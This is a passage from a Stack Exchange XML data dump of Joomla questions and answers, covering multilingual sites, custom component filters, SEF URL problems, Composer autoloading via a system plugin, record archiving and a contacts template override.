}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The regular expression finds the opening  &lt;code&gt;body&lt;/code&gt; tag and any attributes that you may have inside it, then &quot;forgets the matched string&quot; with the &lt;code&gt;\K&lt;/code&gt; metachatacter so that the &lt;code&gt;$insert&lt;/code&gt; text is immediately added after the opening body tag (no text will be removed).&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="12352" LastEditDate="2018-11-27T11:50:20.007" LastActivityDate="2018-11-27T11:50:20.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18905" PostTypeId="1" AcceptedAnswerId="18955" CreationDate="2017-01-20T13:02:16.343" Score="0" ViewCount="665" Body="&lt;p&gt;I have an existing site in English for which I need to create a German version. I have found several tutorials on how to create a multi language site from the beginning, but I am interested to know how, if at all, the process would be different for doing this with an existing site. From my research, it appears that I need to create English and German language menus for the site, and then duplicate the content. Is the process different if an entire English language site exists? Can anyone recommend a tutorial or something along those lines?&lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2021-07-29T06:04:38.970" Title="How to convert an existing site to multi-language?" Tags="|joomla-3.6|multilingual|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18906" PostTypeId="1" AcceptedAnswerId="18936" CreationDate="2017-01-20T13:08:08.527" Score="1" ViewCount="1577" Body="&lt;p&gt;I have created Custom component from component-creator website now I want to add Search tools to this component, Search component like Article search provides.&#xA;can anyone guide me from where I can add this functionality. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have done is add a custom filter code to &lt;code&gt;view.html.php&lt;/code&gt; as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;$query = &quot;SELECT DISTINCT countryname as x FROM sugee_sugee_country where state=1 ORDER BY id ASC&quot;;&#xA;$db-&amp;gt;setQuery($query); &#xA;$rows = $db-&amp;gt;loadObjectList(); &#xA;$options = array();&#xA;$this-&amp;gt;state-&amp;gt;get('filter.countryname');&#xA;foreach ($rows as $row) {&#xA;      $options[] = JHtml::_('select.option', &quot;$row-&amp;gt;x&quot;, JText::_($row-&amp;gt;x));&#xA;}&#xA;&#xA;JHtmlSidebar::addFilter(&#xA;    '- Select Country -',&#xA;    'countryname',&#xA;    JHtml::_('select.options',$options,'value', 'text', $this-&amp;gt;state-&amp;gt;get('filter.countryname'), false));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is that it does not work properly it always refresh the page and it does save its state like if i select INDIA then it should save INDIA as default. but it is not working and records are also not showing properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to create any other files for this or i have add any code or function anywhere else ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please guide.&lt;/p&gt;&#xA;" OwnerUserId="9327" LastEditorUserId="168" LastEditDate="2019-05-15T08:58:18.560" LastActivityDate="2019-05-15T08:58:18.560" Title="How to add custom search tools for custom component" Tags="|joomla-3.x|custom-component|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18908" PostTypeId="2" ParentId="5207" CreationDate="2017-01-21T03:22:21.973" Score="3" Body="&lt;p&gt;Best would be to &lt;strong&gt;change the assigned root folder of your site on your web hosting seetings&lt;/strong&gt;. &#xA;I do this so I can build new versions of my site and save/keep the old versions alive; all I have to do is change my domain's &quot;Document Root&quot; to the new folder every time I release a new version. Avoid redirecting your site, Google's search algorythm doesn't like it.&lt;/p&gt;&#xA;" OwnerUserId="9573" LastActivityDate="2017-01-21T03:22:21.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18910" PostTypeId="2" ParentId="10732" CreationDate="2017-01-21T16:13:24.607" Score="1" Body="&lt;p&gt;For anyone that might end up here through a Google search, trying to find a solution to a similar problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually fatal errors especially after an update may mean that some files didn't copied over correctly. Reinstalling Joomla and extensions and update to latest version usually solves such issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In many cases I would recommend to perform a manual re-installation, by substituting Joomla core files with those taken from a fresh Joomla download.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-21T16:13:24.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18913" PostTypeId="1" CreationDate="2017-01-22T02:22:37.907" Score="1" ViewCount="189" Body="&lt;p&gt;I changed both &lt;strong&gt;Search Engine Friendly URLs&lt;/strong&gt; to &lt;strong&gt;Yes&lt;/strong&gt; and &lt;strong&gt;Use URL Rewriting&lt;/strong&gt; to &lt;strong&gt;Yes&lt;/strong&gt; in Global Configuration and &lt;strong&gt;renamed the .htaccess.txt to .htaccess&lt;/strong&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, now none of my templates work anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I have success in making the URLs cleaner&lt;/strong&gt; (removing the index.php from them), but the templates break. The links work without any problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to follow some tutorials without success:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Enabling_Search_Engine_Friendly_(SEF)_URLs_on_Apache&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Enabling_Search_Engine_Friendly_(SEF)_URLs_on_Apache&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.viryatechnologies.com/Virya-Blogs/joomla-content-management-system/2012/11/29/removing-indexphp-from-existing-sef-urls.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.viryatechnologies.com/Virya-Blogs/joomla-content-management-system/2012/11/29/removing-indexphp-from-existing-sef-urls.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I believe the mod_rewrite module is not the problem because the &quot;new&quot; links work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is hosted in a webserver using Apache. The Joomla version is 3.6.5 .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea about what can be happening?&lt;/p&gt;&#xA;" OwnerUserId="9577" LastActivityDate="2017-01-26T14:42:49.943" Title="Using SEF URLs breaks all templates" Tags="|templates|sef|.htaccess-configuration|non-sef-url|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18914" PostTypeId="2" ParentId="16815" CreationDate="2017-01-22T05:14:56.870" Score="5" Body="&lt;p&gt;I suspect that modifying Joomla's root composer.json file will come with Joomla 4.  In the meantime, I think the best way to use composer packages is to include a composer.phar in a custom system plugin and then call the autoloader on the  onAfterRoute event.  Then it's globally available or if you want to only load the autoloader for 1 component for example you could pull the option value from the jinput and just wrap the require statement in an if. WARNING: check the Joomla library folder before including extra packages and don't install any packages that Joomla already ships with because Joomla's autoloader and your autoloader cannot co-ordinate different versions of packages and you may break everything!!! That being said that probably wont ever happen or cause any problems.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;defined('_JEXEC') or die('Restricted access');&#xA;   &#xA;class plgSystemYayComposer extends JPlugin&#xA;{&#xA;    function onAfterRoute()&#xA;    {&#xA;        require_once(JPATH_ROOT . '/plugins/system/yaycomposer/composer/vendor/autoload.php');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Obviously this technique is not applicable to development for distribution of components etc. You should probably also remove the phar file rather than leaving it in situ, and/or block all web access to the directory with an htaccess file but, y'know, I'm not your dad.&lt;/p&gt;&#xA;&lt;h3&gt;Update for Joomla 4&lt;/h3&gt;&#xA;&lt;p&gt;This is still the way I make packages available for custom code in Joomla 4.  For example if I want to use intervention/image in a custom component I would use composer to install the package in a folder called composer and then add the autoloader using a system plugin where it is needed like below.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class plgSystemYaycomposer extends CMSPlugin&#xA;{&#xA;    function onAfterRoute()&#xA;    {&#xA;        $option = Factory::getApplication()-&amp;gt;input-&amp;gt;get('option', '',);&#xA;        if($option == &amp;quot;com_my_component&amp;quot;){&#xA;            require_once(JPATH_ROOT . '/plugins/system/yaycomposer/composer/vendor/autoload.php');&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then the package(s) are available for that component.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$intervention = new Intervention\Image\ImageManager();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2023-11-03T22:28:45.203" LastActivityDate="2023-11-03T22:28:45.203" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18916" PostTypeId="1" CreationDate="2017-01-22T15:53:47.810" Score="0" ViewCount="161" Body="&lt;p&gt;For a custom component, I want to incorporate a way of keeping track of changes made to records in specific tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when the mileage value of a car is changed, the record having the old mileage record is being copied to an archive table before the actual record is being changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I envisioned the following solution. I copied the table holding the current mileage information (same columns). Currently, I have the views, models and controllers setup to access the records through the backend component. Clicking an individual record opens the edit screen and the mileage can be changed. So far so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is where the magic should start happening. When I change a mileage record and click save I want to have a check if indeed anything has changed in the record, and when it does it should first write the record containing the old information to the archive table before saving the record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have tried playing with for example the duplicate function, trying to have a custom button call for the duplicate function and save it into a different table. I haven't been able to get this to work though and I'm struggling a bit with the routing of the data from the view to the controller and then to the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there someone who can help me with this?&lt;/p&gt;&#xA;" OwnerUserId="9547" LastEditorUserId="12352" LastEditDate="2019-08-12T10:31:02.567" LastActivityDate="2023-12-19T23:02:50.383" Title="Custom Component - Copy / Archive record when values change" Tags="|joomla-3.x|mysql|custom-component|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18917" PostTypeId="1" AcceptedAnswerId="18924" CreationDate="2017-01-23T07:16:38.033" Score="0" ViewCount="392" Body="&lt;p&gt;I am manually adding a record using &lt;code&gt;PHP (sourcerer)&lt;/code&gt; into &lt;code&gt;Jdatabase&lt;/code&gt;. I wish to select the record that was &lt;code&gt;added using the insert query&lt;/code&gt; below. Is there a wayout without using another query with where clause to get the same record added by the insert query? Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I don't want to get the last row of the table in which the record was&#xA;  inserted.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Insert query:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$columns = array('teacher_id', 'sub_code','active');&#xA;$values = array($db-&amp;gt;quote($teacher), $db-&amp;gt;quote($sub_code),1);&#xA;$query&#xA;    -&amp;gt;insert($db-&amp;gt;quoteName('#__teachers_classes'))&#xA;    -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;    -&amp;gt;values(implode(',', $values));&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="383" LastActivityDate="2017-01-23T20:30:29.050" Title="Select newly inserted record in JDatabase" Tags="|jdatabase|" AnswerCount="1" CommentCount="0" ClosedDate="2019-01-29T09:15:20.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="18919" PostTypeId="2" ParentId="988" CreationDate="2017-01-23T10:43:50.530" Score="1" Body="&lt;p&gt;In addition to the existing answers, a new router is included in Joomla 3.7.0 which will likely fix this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.7.0 is due to be released soon. For details, see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5695-joomla-3-7-0-alpha-2-released.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomla.org/announcements/release-news/5695-joomla-3-7-0-alpha-2-released.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-01-23T10:43:50.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18920" PostTypeId="2" ParentId="16264" CreationDate="2017-01-23T12:17:43.857" Score="0" Body="&lt;p&gt;In addition to the answer by @FFrewin, another solution for updating extensions on a large number of Joomla websites is &lt;a href=&quot;https://mysites.guru&quot; rel=&quot;nofollow noreferrer&quot;&gt;mysites.guru&lt;/a&gt; (formerly myjoomla.com).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Manual Updates&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can update all copies of a particular extension on all the websites you have set up in myjoomla.com:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n38ET.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n38ET.png&quot; alt=&quot;mysites.guru&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Automatic Updates&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also enable automatic updates for a select but growing list of extensions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Z93tk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z93tk.png&quot; alt=&quot;mysites.guru&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-09-07T06:27:04.760" LastActivityDate="2019-09-07T06:27:04.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18921" PostTypeId="1" AcceptedAnswerId="18937" CreationDate="2017-01-23T12:25:09.797" Score="3" ViewCount="306" Body="&lt;p&gt;Joomla 3.6.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to display an &quot;Alphabet Bar&quot; on my contacts page, the menu item type is &lt;em&gt;List Contacts in a Category&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 150 contacts, and they are all in the same category. Currently my page displays a total of &lt;strong&gt;20 contacts per page&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I want to have something like the bar below;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;| A | B | C | D | E | F | G | H | I | J | K | L | M | N | O..&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bar could work in one of two ways I suppose.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When a letter is clicked, the page will display the corresponding filtered results.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;I display all my contacts on a single page and when a letter is clicked, the page auto-scrolls to the corresponding letter.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have created an override in &lt;code&gt;/html/com_contact/category/default_items.php&lt;/code&gt; - which currently looks as follows;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  com_contact&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;JHtml::_('behavior.core');&#xA;&#xA;$listOrder = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.ordering'));&#xA;$listDirn  = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.direction'));&#xA;&#xA;// Create a shortcut for params.&#xA;$params = &amp;amp;$this-&amp;gt;item-&amp;gt;params;&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if (empty($this-&amp;gt;items)) : ?&amp;gt;&#xA;    &amp;lt;p&amp;gt; &amp;lt;?php echo JText::_('COM_CONTACT_NO_CONTACTS'); ?&amp;gt;   &amp;lt;/p&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&#xA;&amp;lt;form action=&quot;&amp;lt;?php echo htmlspecialchars(JUri::getInstance()-&amp;gt;toString()); ?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot;&amp;gt;&#xA;    &amp;lt;fieldset class=&quot;filters&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_pagination_limit')) : ?&amp;gt;&#xA;        &amp;lt;div class=&quot;display-limit&quot;&amp;gt;&#xA;            &amp;lt;?php echo JText::_('JGLOBAL_DISPLAY_NUM'); ?&amp;gt;&amp;amp;#160;&#xA;            &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getLimitBox(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;filter_order&quot; value=&quot;&amp;lt;?php echo $listOrder; ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;filter_order_Dir&quot; value=&quot;&amp;lt;?php echo $listDirn; ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;    &amp;lt;table class=&quot;category clergy-contact&quot;&amp;gt;&#xA;        &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_headings')) : ?&amp;gt;&#xA;        &amp;lt;thead&amp;gt;&amp;lt;tr&amp;gt;&#xA;            &amp;lt;th class=&quot;item-title&quot;&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('grid.sort', 'COM_CONTACT_CONTACT_EMAIL_NAME_LABEL', 'a.name', $listDirn, $listOrder); ?&amp;gt;&#xA;            &amp;lt;/th&amp;gt;&#xA;            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_position_headings')) : ?&amp;gt;&#xA;            &amp;lt;th class=&quot;item-position&quot;&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('grid.sort', 'COM_CONTACT_POSITION', 'a.con_position', $listDirn, $listOrder); ?&amp;gt;&#xA;            &amp;lt;/th&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_email_headings')) : ?&amp;gt;&#xA;            &amp;lt;th class=&quot;item-email&quot;&amp;gt;&#xA;                &amp;lt;?php echo JText::_('JGLOBAL_EMAIL'); ?&amp;gt;&#xA;            &amp;lt;/th&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_telephone_headings')) : ?&amp;gt;&#xA;            &amp;lt;th class=&quot;item-phone&quot;&amp;gt;&#xA;                &amp;lt;?php echo JText::_('COM_CONTACT_TELEPHONE'); ?&amp;gt;&#xA;            &amp;lt;/th&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_mobile_headings')) : ?&amp;gt;&#xA;            &amp;lt;th class=&quot;item-phone&quot;&amp;gt;&#xA;                &amp;lt;?php echo JText::_('COM_CONTACT_MOBILE'); ?&amp;gt;&#xA;            &amp;lt;/th&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_fax_headings')) : ?&amp;gt;&#xA;            &amp;lt;th class=&quot;item-phone&quot;&amp;gt;&#xA;                &amp;lt;?php echo JText::_('COM_CONTACT_FAX'); ?&amp;gt;&#xA;            &amp;lt;/th&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_suburb_headings')) : ?&amp;gt;&#xA;            &amp;lt;th class=&quot;item-suburb&quot;&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('grid.sort', 'COM_CONTACT_SUBURB', 'a.suburb', $listDirn, $listOrder); ?&amp;gt;&#xA;            &amp;lt;/th&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_state_headings')) : ?&amp;gt;&#xA;            &amp;lt;th class=&quot;item-state&quot;&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('grid.sort', 'COM_CONTACT_STATE', 'a.state', $listDirn, $listOrder); ?&amp;gt;&#xA;            &amp;lt;/th&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_country_headings')) : ?&amp;gt;&#xA;            &amp;lt;th class=&quot;item-state&quot;&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('grid.sort', 'COM_CONTACT_COUNTRY', 'a.country', $listDirn, $listOrder); ?&amp;gt;&#xA;            &amp;lt;/th&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/thead&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;tbody&amp;gt;&#xA;            &amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $item) : ?&amp;gt;&#xA;                &amp;lt;tr class=&quot;&amp;lt;?php echo ($i % 2) ? &quot;odd&quot; : &quot;even&quot;; ?&amp;gt;&quot; itemscope itemtype=&quot;https://schema.org/Person&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;td class=&quot;item-title&quot;&amp;gt;&#xA;                        &amp;lt;?php if ($this-&amp;gt;items[$i]-&amp;gt;published == 0) : ?&amp;gt;&#xA;                            &amp;lt;span class=&quot;label label-warning&quot;&amp;gt;&amp;lt;?php echo JText::_('JUNPUBLISHED'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;                        &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_(ContactHelperRoute::getContactRoute($item-&amp;gt;slug, $item-&amp;gt;catid)); ?&amp;gt;&quot; itemprop=&quot;url&quot;&amp;gt;&#xA;                            &amp;lt;span itemprop=&quot;name&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;name; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_position_headings')) : ?&amp;gt;&#xA;                        &amp;lt;td class=&quot;item-position&quot; itemprop=&quot;jobTitle&quot;&amp;gt;&#xA;                            &amp;lt;?php echo $item-&amp;gt;con_position; ?&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_email_headings')) : ?&amp;gt;&#xA;                        &amp;lt;td class=&quot;item-email&quot; itemprop=&quot;email&quot;&amp;gt;&#xA;                            &amp;lt;?php echo $item-&amp;gt;email_to; ?&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_telephone_headings')) : ?&amp;gt;&#xA;                        &amp;lt;td class=&quot;item-phone&quot; itemprop=&quot;telephone&quot;&amp;gt;&#xA;                            &amp;lt;?php echo $item-&amp;gt;telephone; ?&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_mobile_headings')) : ?&amp;gt;&#xA;                        &amp;lt;td class=&quot;item-phone&quot; itemprop=&quot;telephone&quot;&amp;gt;&#xA;                            &amp;lt;?php echo $item-&amp;gt;mobile; ?&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_fax_headings')) : ?&amp;gt;&#xA;                        &amp;lt;td class=&quot;item-phone&quot; itemprop=&quot;faxNumber&quot;&amp;gt;&#xA;                            &amp;lt;?php echo $item-&amp;gt;fax; ?&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_suburb_headings')) : ?&amp;gt;&#xA;                        &amp;lt;td class=&quot;item-suburb&quot; itemprop=&quot;address&quot; itemscope itemtype=&quot;https://schema.org/PostalAddress&quot;&amp;gt;&#xA;                            &amp;lt;span itemprop=&quot;addressLocality&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;suburb; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_state_headings')) : ?&amp;gt;&#xA;                        &amp;lt;td class=&quot;item-state&quot; itemprop=&quot;address&quot; itemscope itemtype=&quot;https://schema.org/PostalAddress&quot;&amp;gt;&#xA;                            &amp;lt;span itemprop=&quot;addressRegion&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;state; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_country_headings')) : ?&amp;gt;&#xA;                        &amp;lt;td class=&quot;item-state&quot; itemprop=&quot;address&quot; itemscope itemtype=&quot;https://schema.org/PostalAddress&quot;&amp;gt;&#xA;                            &amp;lt;span itemprop=&quot;addressCountry&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;country; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;&#xA;        &amp;lt;/tbody&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&#xA;        &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_pagination', 2)) : ?&amp;gt;&#xA;            &amp;lt;div class=&quot;pagination&quot;&amp;gt;&#xA;                &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;def('show_pagination_results', 1)) : ?&amp;gt;&#xA;                    &amp;lt;p class=&quot;counter&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getPagesCounter(); ?&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getPagesLinks(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could anybody advise on how I can accomplish this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read &lt;a href=&quot;https://stackoverflow.com/questions/18443123/how-to-place-an-alphabet-bar-on-joomla-category-list&quot;&gt;the following article&lt;/a&gt;, but it's related to categories and not contacts.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2019-10-15T23:07:49.067" Title="Contacts Page 'Alphabet Bar'" Tags="|joomla-3.x|overrides|contact|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18922" PostTypeId="1" CreationDate="2017-01-23T12:36:43.717" Score="2" ViewCount="1227" Body="&lt;p&gt;I would like to put my artciles in order of date, you would think this is simple, since the options are in the menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im using joomla 3.6 and for troubleshoting I have a fresh install, I have setup a menu item to a blog category and added 6 articles (in random order) and changed the creation dates to suit the order I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Menu blog layout is setup Category order: global, article order: oldest first, Date for ordering: Created. everything else on default and global.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I view my blog category page the 3rd and 4th artciles down have been swapped and my article order reads 1,2,4,3,5,6... However when I look in the backend of the system and set the ordering view to ordering ascending my articles are all in the correct order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone 